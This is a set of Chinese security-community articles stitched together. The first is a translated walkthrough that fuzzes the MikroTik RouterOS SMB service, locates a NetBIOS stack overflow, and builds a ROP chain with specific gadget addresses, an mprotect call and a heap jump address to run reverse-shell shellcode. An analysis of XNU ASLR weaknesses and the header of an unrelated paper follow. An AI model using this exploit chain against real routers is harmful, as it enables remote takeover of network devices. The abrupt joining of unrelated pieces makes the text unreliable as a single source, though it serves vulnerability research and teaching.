进行模糊测试过程有不同的方法。两种最流行的策略是基于生成和基于变异的模糊测试。基于生成的模糊测试需要协议知识来构建符合协议规定格式的测试用例，并且（很可能）会导致更全面的覆盖。更多的覆盖意味着更多的机会击中易受攻击的代码路径，因此更多的错误。另一方面，基于突变的模糊测试假定没有关于协议被模糊化的先验知识，并且以可能较差的代码覆盖和在需要计算校验和以确保数据完整性的协议中的额外困难为代价而花费更少的努力。
我们决定用一个愚蠢的模糊器试试运气，并选择几个月前Cisco Talos团队发布的Mutiny
Fuzzer工具。Mutiny采用合法网络流量的样本，并通过突变模糊器重放它。特别是，Mutiny使用Radamsa来改变流量。
Radamsa变异的例子
执行这种模糊测试的好处是可以非常快速地开始运行，并且正如我们将看到的，如果我们有一系列强调各种功能的测试用例，可能会提供很好的结果。
综上所述，模糊网络服务的步骤是：
* 捕获合法流量
* 从生成的PCAP文件中创建Mutiny模糊器模板
* 运行Mutiny来改变流量并将其重播到服务
* 观察正在运行的服务会发生什么
Mutiny确实提供了一个监控脚本，可用于监控服务并识别奇怪的行为。这可以通过实现monitorTarget函数来完成，如<https://github.com/Cisco-Talos/mutiny-fuzzer/blob/master/mutiny_classes/monitor.py>
中所述。样本检查可能是ping远程服务或连接到远程服务以评估其可用性，监视进程，日志或其他可能表示奇怪行为的信号。
在这种情况下，SMB服务在崩溃后需要一段时间才能重新启动并记录堆栈跟踪消息，因此我们认为不值得编写任何监控操作的脚本。相反，我们刚刚使用Wireshark捕获整个模糊过程中的流量，并依赖于Mutiny的默认行为，当请求因连接拒绝错误而失败时退出，这意味着服务已关闭。这是相当简陋的，并留下了很大的改进空间，但这对我们的测试来说已经足够了。
在我们启动模糊测试过程之前启用完整日志记录非常重要。这可能对跟踪可能发生的任何崩溃非常有用，因为完整堆栈跟踪将包含在/rw/logs/backtrace.log中的日志中。这可以通过RouterOS的Web界面进行配置。
启用所有日志以写入磁盘
另一件被证明有用的事情是在交互式控制台中运行二进制文件以实时获得调试输出。这可以通过终止正在运行的进程并从完整终端重新启动它来实现。将打印错误和已处理请求的一般状态。
在处理请求时获取调试输出
现在我们对所涉及的步骤进行了高级概述，让我们回顾一下并实际模糊SMB服务。
首先，我们克隆<https://github.com/Cisco-Talos/mutiny-fuzzer.git> 并按照设置说明进行操作。
我们计划的下一步包括生成一些网络流量。为此，请打开Wireshark并尝试使用smbclient访问路由器上的资源。
Smbclient将向端口445 / TCP 发送协商协议请求，并收到我们不关心的响应。这可以在Wireshark捕获中观察到。
我们希望使用此请求作为产生（希望！）有意义的突变的起点。停止Wireshark捕获并保存请求数据包，方法是转到文件 ->导出指定数据包并选择请求数据包。输出格式应为PCAP。
一旦我们有包含模糊请求的PCAP，我们就会使用mutiny_prep.py交互式脚本准备Mutiny的 .fuzzer文件。
最好检查生成的文件，以确定转换过程中可能出现的任何奇怪现象。
在这里，我们可以将Mutiny配置为仅模糊消息的一部分。如果我们想要将我们的工作重点放在个别领域，这将是有用的。在这种情况下，我们将模糊整个消息。值得一提的是，Mutiny还可以处理多消息交换。
如果我们用作初始模板的测试用例包含不会导致程序采用不同路径的部分，那么我们对此数据所做的所有修改都不会增加代码覆盖率，从而导致浪费时间和低效的模糊测试。
在不详细讨论SMB协议的情况下，我们可以观察到该请求包含大约十二个请求方言的列表。每个方言对应于一组特定的支持命令。如果我们对一组特定的命令进行模糊测试，这可能会很有趣，但是现在我们并不关心这一点。
提供一个或两个方言的较短列表将导致Radamsa创建更有意义的突变并发送更多种类的SMB请求类型。我们的理由是，可能改变一种方言或另一种方言不会使应用程序在单个消息对话中采用截然不同的路径，因此我们这样做并编辑模板如下所示：
>>> open(“req”).read()
‘\x81\x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00 \x00\x00’
有了模板，我们就可以开始模糊测试了。记得用Wireshark捕获完整的会话。Mutiny还可以记录发送的每个数据包，但是我们发现当服务器在崩溃后停止响应时，更容易查看Wireshark。
使用devel帐户打开与路由器的telnet连接并运行pkill smb; / nova / bin / smb启动新的SMB进程并观察其输出。
以下命令将指示Mutiny在数据包之间休眠半秒并记录所有请求： ./mutiny.py -s 0.5 - logAll
negotiate_protocol_request-0.fuzzer HOST
详细输出将显示正在发送的不同大小的数据包以及每个数据包的数字标识符。该值可用于重复完全相同的突变序列，并提供重现崩溃的方法。这很重要，因为即使我们发现崩溃，以前的请求也可能已经损坏了某些内容，或者以崩溃发生所需的方式更改了应用程序状态。如果我们无法在崩溃之前重新创建状态，即使我们确定哪个特定请求最终导致崩溃，我们也可能空手而归。
如果模糊测试会话中断并且我们不想重播先前的突变，则可以使用-r参数指示Mutiny开始从该迭代开始发送突变（例如：-r1500-将发送突变1500,1501， 1502，依此类推）。
如果我们在模糊器运行时观察Wireshark，我们将看到并非所有数据包都符合预期的格式，这对我们来说是件好事。当应用程序无法以正确的方式处理意外数据时，通常会出现漏洞。
我们运行SMB二进制文件的终端还将包含有用的数据，以确认我们实际上正在向服务提供格式错误的请求。
现在我们让模糊器运行。我们可以使用不同的延迟值来查看服务器是否可以快速处理请求，但是每秒两个请求对于此概念验证是可行的。
几分钟后，Mutiny在尝试连接服务后无法完成运行。
如果我们看一下运行二进制文件的终端，我们将收到一条Segmentation fault消息
如前所述，backtrace.log文件包含寄存器转储以及有关导致崩溃的更多信息。
最后，通过检查Wireshark，我们可以看到发送到服务器的最后一个数据包被描述为“对非法NetBIOS名称的会话请求”。
## 了解崩溃
首先，我们将确保我们可以随意重现崩溃。复制Mutiny发送的最后一个数据包或从Wireshark中提取消息在此处是等效的。我们对NetBIOS下面的层不感兴趣，因为我们将创建一个小脚本来通过TCP发送数据包。
从导出的文件中提取原始字节。
>>> open（“req”）。read（）
'\ x81 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00'
创建一个简单的python脚本，将有效负载发送到远程服务。请注意，为了清楚起见，我已使用等效的十六进制表示替换了空格。
在产生新的SMB进程（pkill smb && / nova / bin /
smb）后运行该脚本几次，看看会发生什么。我们现在有一种可靠的方法来通过单个请求重现崩溃。
在这种情况下，我们正在处理Wireshark具有解析器的协议，因此我们可以使用该信息来了解协议级别的崩溃原因。显然，发送NetBIOS会话请求（消息类型0x81）会在SMB二进制文件中执行易受攻击的代码路径。
让我们从路由器中提取二进制文件，这样我们就可以在反汇编程序中打开它。将/ nova / bin / smb复制到/ flash / rw /
pckg，以便可以通过FTP访问并下载。
这也是能够使用GDB调试流程的好时机。我喜欢使用PEDA来增强GDB的显示并添加一些有用的命令。
我们打开两个到目标路由器的连接。在一个我们做pkill smb && / nova / bin /
smb以获得实时输出，另一方面我们启动附加到新生成的进程的gdbserver。
最后，我们在测试机器中打开GDB，并使用目标远程IP：PORT连接到调试服务器。
通过执行文件smb来指示GDB我们所附加的二进制文件也很有用。下次连接到调试服务器时，它将尝试解析已加载库的符号。
在调试会话中按c，以便像往常一样继续执行。
运行概念证明将导致服务因SIGSEGV而停止。在这里，我们看到在执行复制操作时取消引用了NULL指针。
现在，我必须承认我做静态分析非常糟糕，特别是涉及C
++程序时。在克服这种限制的蹩脚尝试中，我将尽可能多地依赖于动态分析，在这种特殊情况下，我将依赖Wireshark解剖器提供的信息，该信息可以提供有关协议字段的更多信息。
可以看出，我们发送的NetBIOS会话服务数据包的第一个字节将消息类型设置为会话请求（0x81）。
第二个字节包含标志，在我们的概念验证中将所有位设置为零。
接下来的两个字节表示消息长度，设置为32。
最后，剩余的32个字节称为非法NetBIOS名称。
我们可以假设在某个时刻正在读取此大小，并且由于它是我们发送的唯一消息长度信息，因此可能与漏洞有关。为了测试这个假设，我们将在诸如read和recv之类的常用函数上放置断点，以识别应用程序从套接字读取数据包的位置。
运行脚本后，程序在read（）中断。
我们使用ni导航到下一个指令，并在执行读取系统调用后立即停止。
read的定义如下：
ssize_t read（int fd，void * buf，size_t count）;
EAX保持读取的字节数，似乎是0x24（36）。这对应于我们之前分析的标头：消息类型为1个字节 - 标志为1个字节 - 消息长度为2个字节 -NetBIOS名称为32个字节。
ECX包含存储数据读取的缓冲区的地址。我们可以使用vmmap $ ecx或vmmap 0x8075068来验证这对应于堆区域。
最后，EDX声明调用读操作从套接字读取最多0x10000字节。
从这里开始，我们可以继续逐步执行并添加观察点，以查看我们的数据会发生什么。
由于Wireshark没有在NetBIOS名称中识别与分析协议相关的任何内容，因此我们将更改有效负载以包含更多可区分的字符，例如“A”，以便在我们的调试会话中更容易识别该有效负载。这也是一个好主意，看看是否可能触发额外的复制操作，否则将停止在第一个NULL字节。
我们有两个字节可以播放不同的大小，所以在向前移动之前尝试发送不同的消息长度并查看崩溃是否仍然发生是很有趣的。
我们已经尝试了32个字节，所以让我们变得疯狂并做64,250,1000,4000,16000,65005。
64（payload=“\ x81 \ x00 \ x00 \ x40”+“A”* 0x40）
与原始的概念证明相同。寄存器看起来一样。
250（payload=“\ x81 \ x00 \ x00 \ xfa”+“A”* 0xfa)
这是一个非常有趣的变化。我们看到大多数寄存器设置为0x41414141，这是我们的输入，我们看到堆栈中充满了大量的“A”，甚至EIP似乎已经被破坏了。
1000（payload=“\ x81 \ x00 \ x03 \ xe8”+“A”* 0x3e8）
与之前的有效负载相同
4000（payload=“\ x81 \ x00 \ x0f \ xa0”+“A”* 0xfa0）
与之前的有效负载相同
16000（payload=“\ x81 \ x00 \ x3e \ x80”+“A”* 0x3e80）
虽然我们发现堆栈也已损坏，但这会在不同的指令处崩溃。
65500（payload=“\ x81 \ x00 \ xff \ xdc”+“A”* 0xffdc）
与之前的有效负载相同
所以...我们看到程序在执行不同的指令时崩溃了。但是，我们可以观察到的常见问题是，当从单个NetBIOS会话请求消息解析NetBIOS名称时，堆栈在某些时候已经损坏，并且当我们发送250字节消息时，大多数寄存器包括我们的有效负载的一部分。这使得分析特别有趣，因为我们有直接的EIP覆盖和控制堆栈。
请注意，我们无法确保所有崩溃都归因于此时完全相同的错误。也许发送更大的缓冲区会让我们走上一条不同的道路，最终会更容易被利用，所以你必须自己回答这个问题。
中间还有一些看似随机数的“。”（0x2e）字符。我们将看到他们以后会发生什么。
在崩溃之前，程序会打印一条显示“New
connection：”的消息。这对于获得一些态势感知非常有用，无需向缓冲区添加观察点并跟踪数十个读取操作（您可以使用rwatch *
addr在GDB中添加读取观察点，并且只要程序访问该内存地址，就会停止执行）。
我们在Binary Ninja中打开/ nova / bin / smb二进制文件并搜索字符串
在0x80709fb只出现一次。检查交叉引用显示单个用法，这可能是我们想要的。
如果我们转到sub_806b11c的开头，我们会注意到需要满足几个条件才能让我们到达打印字符串的块。
第一个条件是与0x81的字节比较，这是我们发送的消息类型。
将断点放在0x806b12e并执行后，我们可以检查寄存器值并更好地了解发生的情况。我们可以观察到例如我们在请求中发送的大小需要高于0x43才能进入感兴趣的块。
根据我们之前的测试，我们知道从这个块中调用的函数之一需要是破坏堆栈的函数。我们继续使用n代替s来遍历GDB中的每条指令，以避免进入函数。每次运行函数后，我们都会看一下堆栈。
我们遇到的第一个函数是0x805015e。
运行后我们看到堆栈似乎没问题，所以这可能不是负责溢出的函数。
稍后我们有一些指令，我们有下一个候选函数，函数在0x8054607。我们再一次让它运行并观察堆栈并记录上下文。
Aaaaand我们找到了罪魁祸首。看看EBP并观察堆栈框架是否已损坏。继续调试，直到该函数即将返回。这里从包含我们数据的堆栈中弹出各种寄存器。
这里不受欢迎的想法：你真的不需要了解这个功能在利用漏洞时所做的一切。我们已经有了EIP控制，并且大多数堆栈看起来或多或少都是未损坏的输入数据。
花一些时间来查看0x5054607处的功能，并使用GDB的帮助产生以下伪代码：
int parse_names(char *dst, char *src) {
int len;
int i;
int offset;
// take the length of the first string
len = *src;
offset = 0;
while (len) {
// copy the bytes of the string into the destination buffer
for (i = offset; (i - offset) < len; ++i) {
dst[i] = src[i+1];
}
// take the length of the next string
len = src[i+1];
// if it exists, then add a separator
if (len) {
dst[i] = ".";
}
// start over with the next string
offset = i + 1;
}
// nul-terminate the string
dst[offset] = 0;
return offset;
}
实质上，该函数接收两个堆栈分配的缓冲区，其中源缓冲区预期格式为SIZE1-BUF1，SIZE2-BUF2，SIZE3-BUF3等。“。”用作条目分隔符。
读取源缓冲区的第一个字节并将其用作复制操作的大小。然后，该函数将该字节数复制到目标缓冲区中。完成后，读取源缓冲区的下一个字节并将其用作新大小。当要复制的大小等于零时，此循环结束。未进行验证以确保数据适合目标缓冲区，从而导致堆栈溢出。
## 写exp
如何处理利用取决于目标设备和架构的细节。在这里，我们只对Cloud Hosted Router x86二进制文件感兴趣。
值得一提的是，可能有几种不同的方法来实现对此漏洞的可靠利用，因此我们将审查我们使用的那个，这可能不是最优雅或最有效的方法。
Tobias Klein的checksec脚本是一个很好的资源，可以检查我们需要采取哪些缓解措施。可以从PEDA调用此脚本。
stack
canaries的缺乏可能是最缺失的最相关的缓解，使得基于堆栈的缓冲区溢出很容易被利用。如果程序是用堆栈金丝雀编译的，那么我们以前的测试会产生非常不同的结果。堆栈canaries将随机值放在分配缓冲区的每个函数帧中的重要数据之前，并在函数返回之前检查这些值。如果发生溢出，将终止执行并且不再进一步利用。
PIE禁用意味着我们可以依赖程序代码的固定位置，禁用RELRO意味着我们可以覆盖全局偏移表中的条目。
总而言之，我们将只处理NX，它限制从可写区域（如堆栈或堆）执行。
在系统级实施的另一项缓解措施是ASLR。这是一个32位系统，因此部分覆盖或甚至暴力强制可被视为ASLR的可行旁路。在这种情况下，这是没有必要的。
检查RouterOS中任何程序的内存映射表明堆栈基本确实是随机的，但堆不是。这可以验证运行cat / proc / self / maps几次并比较结果。
构建我们的漏洞的第一步是获得精确的偏移以获得对EIP的控制。为了做到这一点，我们可以使用PEDA生成一个独特的模式，命令模式创建256并将其插入到我们的漏洞利用框架中。请注意，标头之后的第一个字节将是易受攻击的函数解析的大小，因此我们指定0xFF以不变地读取256个字节，并避免将“。”字符放置在有效负载的中间。
发生崩溃时，可以使用伴随的模式偏移VALUE命令来确定覆盖EIP的确切位置。
更改有效负载并验证EIP是否可以设置为任意值。
我们没有观察到烦人的“。”字符，这很好。
既然我们控制了EIP和堆栈的其余部分，我们就可以使用借用的代码块技术，这种技术更好地称为返回导向编程或ROP（有些人似乎对那些使用后者的人非常恼火，所以很可能更好地提及所有替代方案）。
主要思想是我们将链接以RET指令结尾的各种代码片段来执行或多或少的任意代码。如果有足够的这些小工具，我们应该能够运行我们想要的任何东西。但在这种特殊情况下，我们只想将堆区域标记为可执行文件。最终目标是在堆中存储某些东西（已经包含从客户端读取的消息）并利用静态基址跳转到那里。
这里的相关功能是mprotect，如下所示：
int mprotect（void * addr，size_t len，int prot）;
地址将是0x8072000，这是堆的基础。这需要页面对齐才能工作。
Len可以是我们想要的任何东西，但让我们改变整个0x14000字节的保护。
最后，prot指的是执行的按位或所需的保护措施。7指的是PROT_READ | PROT_WRITE | PROT_EXEC，本质上是我们的目标RWX。
有迹象表明，可以尝试自动创建链的各种工具，如ROPGadget和Ropper。我们将使用ropper但手动构建ROP链以显示它是如何完成的。
根据Linux系统调用约定，EAX将包含系统调用号，对于mprotect为0x7d。EBX将包含地址参数，ECX的大小和EDX所需的保护。
让我们开始将EBX设置为0x8072000。我们寻找包含POP EBX指令的小工具，并尽可能减少副作用。
我们选择较小的小工具并开始构建我们的链。这看起来如下。执行将被重定向到0x804c39d，它将首先执行POP
EBX指令，将EBX设置为所需的值0x8072000。接下来，将执行POP
EBP，因此我们需要提供一些虚拟值，以便从堆栈中弹出一些东西。最后，执行RET指令，弹出堆栈中的下一个并跳转到那里。这需要成为我们链中的下一步。
所有值都打包为little-endian无符号整数。
我们使用相同的过程在ECX中设置所需的大小。重要的是要理解顺序很重要，因为如果我们不小心，我们可能会在不知不觉中覆盖我们已经设置的寄存器。此外，有时小工具看起来不如POP
DESIRED_REG好; RET和我们将不得不处理需要额外调整的潜在副作用。
在这里，我们将选择更加良性的0x080664f5。这个小工具改变了EAX的值，但我们目前不依赖于EAX中的任何特定设置，因此它非常有用。我们将此附加到我们的ROP链。
我们重复这个过程，这次将EDX设置为7，这是RWX保护级别。
这次我们在0x08066f24处选择小工具，这不会弄乱我们之前设置的寄存器。
最后，我们需要将EAX设置为系统调用号0x7d。我们搜索包含POP EAX的小工具，但找不到任何不会改变我们当前设置的内容。
我们可以尝试以不同的方式重新排序我们的小工具，但我们只会搜索另一个执行XCHG EAX，EBP并使用无处不在的POP EBP链接它的小工具; RET。
从这里我们取0x804f94a和0x804c39e并追加它们
现在可以根据需要配置寄存器以执行mprotect系统调用。为此，我们需要调用INT 0x80，它通知内核我们要执行系统调用。
但是，当我们查找包含此指令的小工具时，我们找不到任何内容。这可能会使事情变得更加困难。
幸运的是，还有另一个地方我们可以找到这种小工具。所有用户空间应用程序都有一个小型共享库，由内核映射到其地址空间，称为vDSO（虚拟动态共享对象）。这是出于性能原因而存在的，并且是内核将某些功能导出到用户空间并避免对经常调用的函数进行上下文切换的方法。如果我们看一下手册页，我们会看到一些有趣的东西：
这意味着vDSO中有一个可能知道如何执行系统调用的函数。我们可以检查这个函数在GDB中的作用。
从上面的屏幕截图中可以看出，__
kernel_vsyscall包含一个有用的小工具。我们执行该过程几次，并意识到此映射不受ASLR的影响，这允许我们使用此小工具。EBX，ECX和EBP的值现在并不重要，因为它们将在执行系统调用后设置。
我们更新漏洞利用代码以发送我们构建的链并将GDB附加到正在运行的SMB二进制文件
EIP会将执行重定向到我们的第一个小工具，因此最好将断点放在0x804c39d，这是链的起点。
使用stepi观察寄存器如何设置为所需的值。在INT 0x80之后，我们可以列出映射区域，如果一切正常，堆将被标记为RWX。
剩下的部分包括将堆中的任意代码存储在已知位置，这样我们就可以跳转到那里获得一个shell，但是我们怎么能这样做呢？
当我们在read（）中放置一个断点时，我们发现请求数据存储在堆中的某个地方。此外，我们有各种协商协议请求请求的样本，因此可以确定如果消息类型字节设置为0x00，那么我们将到达程序中的某个路径，其中有效负载将被处理并存储在堆。
为了测试这个假设，让我们再次在read（）中放置一个断点，并更改PoC有效负载，以发送一个带有512“A”作为内容的良性协商协议请求消息。提醒一下，格式是：
消息类型（1字节） - 标志（1字节） - 消息长度（2字节） - 消息
此时消息类型将设置为NETBIOS_SESSION_MESSAGE（0x00）。我们没有使用另一个会话请求消息（0x81）来避免意外触发漏洞并且必须处理易受攻击的函数所在的“。”字符。
逐步执行读取功能，直到从网络读取0x204字节（512“A”s + 4字节标头）。如前所述，ECX包含缓冲区的地址。
检查指定地址处的内存内容会显示我们的有效负载。
按c键允许执行正常继续并发送新请求以检查前一个请求是否被覆盖，或者它是否刚刚留在堆中。
当再次到达断点时，我们尝试打印读缓冲区的内容，不幸的是我们意识到它已被清零。
但是，如果应用程序制作了未归零的副本，则之前的请求仍可能在其他位置挥之不去。它是可以通过使用搜索与PEDA当前地址空间的发现或searchmem命令。我们的消息由512“A”组成，因此我们试图找到一个连续的“A”块。这些命令采用由空格分隔的可选参数，以将搜索限制在特定区域。我们只对堆中可能存在的结果感兴趣。
这意味着正在复制请求的内容并将其保留在未清除的某个缓冲区中。我们需要进行一些测试，以便能够信任此位置来存储我们的有效负载。特别是，如果我们将脚本更改为发送512“B”而不是“A”，我们将看到0x8085074将在处理请求后最终包含“B”。我们需要数据在其他请求中持续存在，因此这并不好。
但是，如果我们首先发送512“A”然后再说256“B”，那么很明显前半部分被覆盖但后半部分仍然包含前一个请求的字节。奇怪的0x00000e89是来自堆控制结构的块元数据，与我们的场景无关。
知道数据将至少在两个请求中保持不变，我们可以制定以下计划：
使用我们要执行的代码发送协商协议请求。第一部分将是几百个NOP指令，因为当我们发出第二个请求时，这些字节将被覆盖，并带有触发漏洞的相应会话请求消息。
发送破坏堆栈的会话请求消息，将ROP保护为mprotect，将堆标记为可执行文件并跳转到存储＃1负载的硬编码位置，滥用堆基不随机化的事实。
我们决定为第二个请求留下512个字节，因此我们将跳转到0x8085074 + 512 =
0x8085270的硬编码位置。此地址需要附加到我们的ROP链中。之前的小工具将执行其最终的RET指令，将从堆栈中弹出0x8085270，然后执行程序。
shellcode的第一个版本将只包含INT3指令，因此调试器在执行时会中断。INT3的操作码是CC。
该脚本也被修改为打开两个连接，每个连接一个。
456c-43e2-1.png)
附加到新的SMB流程并运行漏洞利用程序
我们现在正在执行任意代码。让我们使用msfvenom生成反向shell有效负载。
我们修改第一阶段以存储此有效负载并再次运行该漏洞。
这次我们在指定的端口打开一个netcat监听器，以便我们可以接收连接。
## 结论
使用基于突变的方法对网络服务进行模糊化可以很少的努力完成，并且可以产生很好的结果。
如果您正在寻找那些谈论神秘专有协议的应用程序中的漏洞，或者只是懒得构建一个全面的模板，那么就给愚蠢的模糊测试。您可以在应用忍者逆向工程技能的同时以最小的努力使模糊器运行，以了解协议并构建更好的东西。
RouterOS驱动的设备现在无处不在，缺乏现代（对现代的任意定义）漏洞利用缓解有点令人担忧。启用完整的ASLR会使漏洞利用编写器的生命变得更加困难，并且如果二进制文件是使用堆栈canaries支持编译的，那么在没有info-leak漏洞的情况下，大多数堆栈溢出将变得无法开发。
值得一提的是MikroTik的响应和补丁时间都很棒。起初，更改日志没有暗示存在安全漏洞：
What's new in 6.41.3 (2018-Mar-08 11:55):
*) smb - improved NetBIOS name handling and stability;
但是，它们现在看起来更严重了。它们在其有关安全漏洞的更改日志中包含更详细的评论，并且似乎有一个博客，他们也发布有关这些类型问题的官方公告。
精明的读者可能已经注意到，如果你再现了这篇文章中概述的步骤，你甚至可能在RouterOS SMB中找到了一些额外的0天。
玩得开心！
其他资源
Core Security的原始咨询（<https://www.coresecurity.com/advisories/mikrotik-routeros-smb-buffer-overflow）>
chimay-red的详细分析（WWW漏洞中的漏洞7）<https://blog.seekintoo.com/chimay-red.html>
MIPS利用BigNerd95在这篇文章中描述的bug <https://github.com/BigNerd95/Chimay-Blue>
Jacob Baines发布了<https://medium.com/@jbaines>
对去年着名的Winbox漏洞的分析很简单<https://n0p.me/winbox-bug-dissection/>
0ki MikroTik工具<https://github.com/0ki/mikrotik-tools>
0ki的研究中心，有数十个视频/幻灯片格式的演示文稿<https://kirils.org/> | 社区文章 |
**作者：wzt
原文链接：<https://mp.weixin.qq.com/s/3jnbdStYFuTldf0uEz_bpA>**
## **1.1** **进程栈、代码段地址随机化**
这里指的是进程的用户态栈，记住一个进程实际拥有两个栈，
一个用于跑用户态的代码，一个用于请求系统调用时在内核中使用的栈空间。在前面分析BSD进程随机化时，我们注意到bsd并没有给进程的用户态栈加入地址随机化，
XNU虽然继承了BSD进程模型，但作为一个商业操作系统没有栈的随机化功能显然是说不过去的， 自然给其进程加入了随机化功能。
bsd/kern/mach_loader.c
load_return_t
load_machfile(
struct image_params *imgp,
struct mach_header *header,
thread_t thread,
vm_map_t *mapp,
load_result_t *result
)
{
if (!(imgp->ip_flags & IMGPF_DISABLE_ASLR)) {
vm_map_get_max_aslr_slide_section(map, &aslr_section_offset, &aslr_section_size); [1]
aslr_section_offset = (random() % aslr_section_offset) * aslr_section_size;[2]
aslr_page_offset = random();[3]
aslr_page_offset %= vm_map_get_max_aslr_slide_pages(map);
aslr_page_offset <<= vm_map_page_shift(map);
dyld_aslr_page_offset = random();[4]
dyld_aslr_page_offset %= vm_map_get_max_loader_aslr_slide_pages(map);
dyld_aslr_page_offset <<= vm_map_page_shift(map);
aslr_page_offset += aslr_section_offset;[5]
}
}
除了mmap，进程的栈、代码段以及共享库的地址随机化都是在内核从磁盘加载二进制文件时完成的。[1]处vm_map_get_max_aslr_slide_section函数选取了随机化的范围，
void
vm_map_get_max_aslr_slide_section(
vm_map_t map __unused,
int64_t *max_sections,
int64_t *section_size)
{
#if defined(__arm64__)
*max_sections = 3;
*section_size = ARM_TT_TWIG_SIZE;
#else
*max_sections = 1;
*section_size = 0;
#endif
}
aslr_section_offset表示的随机几个页面大小，aslr_section_size表示每个页面的大小，对于不同的CPU体系架构拥有不同的值，在arm64下
aslr_section_offset设定为3，页面大小设置为0x0000000000200000ULL，其他架构下aslr_section_offset设为1，
页面大小设为0。[2]处使用random函数生成了一个临时随机范围aslr_section_offset。[3]处的aslr_page_offset表示栈和代码段使用的随机范围，没错xnu的栈和text代码使用的是同一个随机范围，
而linux使用的都是不同的。Xnu这样做提升了一点性能，但安全性也会降低一些。vm_map_get_max_aslr_slide_pages函数选取了要随机多少个页面大小，在arm64下为1<<12，在其他架构的64位下为1<<16，32位为1<<8。
uint64_t
vm_map_get_max_aslr_slide_pages(vm_map_t map)
{
#if defined(__arm64__)
/* Limit arm64 slide to 16MB to conserve contiguous VA space in the more
* limited embedded address space; this is also meant to minimize pmap
* memory usage on 16KB page systems.
*/
return (1 << (24 - VM_MAP_PAGE_SHIFT(map)));
#else
return (1 << (vm_map_is_64bit(map) ? 16 : 8));
#endif
}
最后aslr_page_offset在左移12位，那么在arm64下其随机化的范围就为0-16MB，其实随机化的范围并不大，而且都是以页面对齐的，所以只需暴力才解4096次就能猜到offset。即使加上[5]处的临时offset，也提高不了多少安全等级。
[4]
处的vm_map_get_max_loader_aslr_slide_pages计算的是共享库的地址随机化范围，与上述类似，最终随机范围为0-4MB。
Win10进程栈在64位下可以做到上TB的随机化范围，
笔者也给linux扩展了栈的随机化范围，通过打入AKSP补丁，栈的随机化也可以做到上TB的范围。如此来看，XNU进程的栈地址随机化未免有点小家子气了。
对栈基地址的设置是在load_unixthread里设置的：
static
load_return_t
load_unixthread(
struct thread_command *tcp,
thread_t thread,
int64_t slide,
load_result_t *result
)
{
ret = load_threadstack(thread,
(uint32_t *)(((vm_offset_t)tcp) +
sizeof(struct thread_command)),
tcp->cmdsize - sizeof(struct thread_command),
&addr, &customstack, result);
result->user_stack = addr;
result->user_stack -= slide;
}
load_threadstack选取了栈基地址，然后减去slide。Slide为上述的aslr_page_offset，但是它的使用还有个前提条件：
static
load_return_t
parse_machfile(
struct vnode *vp,
vm_map_t map,
thread_t thread,
struct mach_header *header,
off_t file_offset,
off_t macho_size,
int depth,
int64_t aslr_offset,
int64_t dyld_aslr_offset,
load_result_t *result,
load_result_t *binresult,
struct image_params *imgp
)
{
int64_t slide = 0;
if ((header->flags & MH_PIE) || is_dyld) {
slide = aslr_offset;
}
}
Slide初始化为0，只有当二进制为PIE编译或者为动态连接器才会被设置为aslr_offset，这样对于普通的二进制程序栈并没有地址随机化能力！
## **1.2** **mmap地址随机化**
XNU提供了posix标准的mmap函数，对于匿名映射的内存地址随机化是在mach层的vm_map_enter函数来设置的。
osfmk/vm/vm_map.c
kern_return_t
vm_map_enter(
vm_map_t map,
vm_map_offset_t *address, /* IN/OUT */
vm_map_size_t size,
vm_map_offset_t mask,
int flags,
vm_map_kernel_flags_t vmk_flags,
vm_tag_t alias,
vm_object_t object,
vm_object_offset_t offset,
boolean_t needs_copy,
vm_prot_t cur_protection,
vm_prot_t max_protection,
vm_inherit_t inheritance)
{
boolean_t random_address = ((flags & VM_FLAGS_RANDOM_ADDR) != 0);[1]
if (anywhere) {
vm_map_lock(map);
map_locked = TRUE;
if (entry_for_jit) {[2]
#if CONFIG_EMBEDDED
if (map->jit_entry_exists) {
result = KERN_INVALID_ARGUMENT;
goto BailOut;
}
random_address = TRUE;
#endif
}
if (random_address) {
result = vm_map_random_address_for_size(map, address, size); [3]
if (result != KERN_SUCCESS) {
goto BailOut;
}
start = *address;
}
}
对于主动提供了VM_FLAGS_RANDOM_ADDR标志或者在CONFIG_EMBEDDED下开启了jit
code条件下都会使用[3]处的vm_map_random_address_for_size函数选取一块包含了随机化范围的起始地址。
#define MAX_TRIES_TO_GET_RANDOM_ADDRESS 1000
kern_return_t
vm_map_random_address_for_size(
vm_map_t map,
vm_map_offset_t *address,
vm_map_size_t size)
{
addr_space_size = vm_map_max(map) - vm_map_min(map);[1]
while (tries < MAX_TRIES_TO_GET_RANDOM_ADDRESS) {
random_addr = ((vm_map_offset_t)random()) << PAGE_SHIFT; [2]
random_addr = vm_map_trunc_page(
vm_map_min(map) +(random_addr % addr_space_size),
VM_MAP_PAGE_MASK(map));
if (vm_map_lookup_entry(map, random_addr, &prev_entry) == FALSE) {
if (prev_entry == vm_map_to_entry(map)) {
next_entry = vm_map_first_entry(map);
} else {
next_entry = prev_entry->vme_next;
}
if (next_entry == vm_map_to_entry(map)) {
hole_end = vm_map_max(map);
} else {
hole_end = next_entry->vme_start;
}
vm_hole_size = hole_end - random_addr;
if (vm_hole_size >= size) {
*address = random_addr;
break;
}
}
tries++;
}
if (tries == MAX_TRIES_TO_GET_RANDOM_ADDRESS) {
kr = KERN_NO_SPACE;
}
return kr;
}
这个函数比较奇葩， 尝试循环1000次找到带有随机化范围的vm_map_entry，[1]处首先计算当前进程还剩的虚拟内存空间大小，
[2]处使用random函数产生了一个页面对齐的随机数，然后与addr_space_size取模，在64位下，addr_space_size的取值可能非常大，
所以xnu尝试最多1000次循环来找到一个合适的地址空间。使用这样的算法，offset的可控性很差，
还有可能因为随机数的问题导致整个mmap动作失败，我觉得后续xnu的内核工程师应该会改进这个算法。
* * * | 社区文章 |
# 关键基础设施中基于AI的入侵检测技术的比较研究
|
##### 译文声明
本文是翻译文章，文章原作者 SAFA OTOUMBURAK、KANTARCI、HUSSEIN MOUFTAH，文章来源：x-mol.com
原文地址：<https://www.x-mol.com/paper/1290717755575246848>
译文仅供参考，具体内容表达以及含义原文为准。
